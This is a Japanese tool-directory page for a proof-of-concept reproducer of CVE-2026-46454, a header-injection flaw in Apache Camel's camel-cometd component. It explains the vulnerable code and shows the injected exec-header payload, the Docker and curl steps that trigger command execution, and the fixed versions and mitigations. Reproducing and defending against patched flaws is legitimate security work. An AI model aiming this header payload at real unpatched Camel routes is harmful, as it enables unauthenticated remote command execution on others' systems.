Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-46454 — CVE-2026-46454 の再現ツール — Apache Camel camel-cometd のインバウンド Bayeux ヘッダーインジェクション(未認証の Camel コントロールヘッダーインジェクション → ダウンストリームプロデューサーの操作 / RCE) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-46454
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHuboscerd/cve-2026-46454

CVE-2026-46454

CVE-2026-46454 の再現ツール — Apache Camel camel-cometd のインバウンド Bayeux ヘッダーインジェクション(未認証の Camel コントロールヘッダーインジェクション → ダウンストリームプロデューサーの操作 / RCE)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-cometd インバウンド Bayeux ヘッダーインジェクション再現ツール (CVE-2026-46454)

このプロジェクトは、Apache Camel の camel-cometd コンポーネントにおけるメッセージヘッダーインジェクションを実証するもので、CVE-2026-46454 として追跡されています。このコンポーネントは、インバウンドの Bayeux (CometD) メッセージヘッダーを HeaderFilterStrategy なしで Camel Exchange にマッピングします。CometdBinding.createCamelMessage は、CometD クライアントが提供した ext.CamelHeaders マップ全体をそのまま Camel メッセージにコピーします (message.setHeaders(...))。そのため、CamelHttpUri、CamelFileName、CamelJmsDestinationName (または、ここでの camel-exec 制御ヘッダー) などの Camel 内部制御ヘッダーを含む、あらゆるヘッダー名が変更されずに受け入れられます。CometdComponent はデフォルトでは Bayeux SecurityPolicy をインストールしないため、Bayeux ハンドシェイクを完了できるクライアントは誰でも、認証なしでそのようなメッセージをパブリッシュし、ルート内の下流プロデューサーを操作できます。

アドバイザリ: https://camel.apache.org/security/CVE-2026-46454.html

脆弱性の概要

CVE-2025-27636、CVE-2025-29891、CVE-2025-30177、CVE-2026-40453、CVE-2026-47323 と同じヘッダーインジェクション系統 — Camel 名前空間をフィルタリングせずにインバウンドヘッダーを Exchange にマッピングするコンポーネント群。

技術的詳細

root@kitploit:~
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

クライアントは ext.CamelHeaders を制御できるため、Exchange 上に任意の Camel 制御ヘッダーを設定できます。修正 (4.14.8 / 4.18.3 / 4.21.0) では HeaderFilterStrategy (コード内で長年 TODO となっていた項目) が実装され、インバウンドマッピング時に Camel* / camel* 名前空間を大文字小文字を区別せずにフィルタリングします。

被害者側のルート

root@kitploit:~
from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

攻撃者は ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" } を付けて /service/inject にパブリッシュします。バインディングはそれらを Exchange にマッピングし、exec プロデューサーは攻撃者のコマンドを代わりに実行します。

リポジトリ構成

自己完結型です: camel-cometd コンシューマーはアプリ内で組み込みの Bayeux サーバー (ポート 8088) を実行し、/exploit/attack エンドポイントが認証なしの CometD クライアントとして動作します。

root@kitploit:~
CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

前提条件

  • Java 17+ と Maven 3.8+
  • Docker (再現ツールの実行用)

再現手順

ステップ 1: コンテナをビルドして起動する

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

ステップ 2: ヘッダーインジェクション (RCE) をトリガーする

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

ステップ 3: 検証する

root@kitploit:~
docker exec cve-2026-46454 ls -la /tmp/pwned

クリーンアップ

root@kitploit:~
docker compose down

攻撃ベクトル

動作が Camel ヘッダーによって制御される下流のプロデューサーにデータを供給する、camel-cometd コンシューマーを持つ任意のルートが対象です — HTTP プロデューサー (CamelHttpUri)、ファイルプロデューサー (CamelFileName)、JMS プロデューサー (CamelJmsDestinationName)、exec プロデューサー (CamelExecCommand*) など。Bayeux エンドポイントに対してハンドシェイクできるクライアントは誰でもそれらを注入できます。デフォルトでは認証は不要です。注入されたヘッダーは、内部の direct、seda、vm ホップを越えて保持されます。

悪用条件

  1. 影響を受けるバージョンの camel-cometd コンシューマーが、ヘッダーを制御可能なプロデューサーにルーティングされていること。
  2. CometdComponent に Bayeux SecurityPolicy がないこと (デフォルト) — そのため、どのクライアントでもパブリッシュできます。

推奨される修正

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507) にアップグレードしてください。この修正は cometd バインディングに HeaderFilterStrategy を追加し、インバウンドマッピング時にクライアントが指定した Camel* / camel* ヘッダーをブロックします。

緩和策

アップグレードするまでの間:

  1. ルートの先頭で Camel 制御ヘッダーを除去する: .removeHeaders("Camel*") と .removeHeaders("camel*")。
  2. CometdComponent に明示的な Bayeux SecurityPolicy をインストールし、認証済みクライアントのみがパブリッシュできるようにする。

免責事項

この再現ツールは、公開済みで修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用として提供されます。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-cometd
影響を受けるクラスorg.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...))
CWECWE-20: 不適切な入力検証
影響認証なしでの Camel 制御ヘッダーの注入 → 下流プロデューサーの操作 (ここでは exec による RCE)
影響を受けるバージョン4.0.0 以降 4.14.8 未満、4.15.0 以降 4.18.3 未満、4.19.0 以降 4.21.0 未満
修正済みバージョン4.14.8、4.18.3、4.21.0
JIRACAMEL-23507
報告者Yu Bao (PayPal)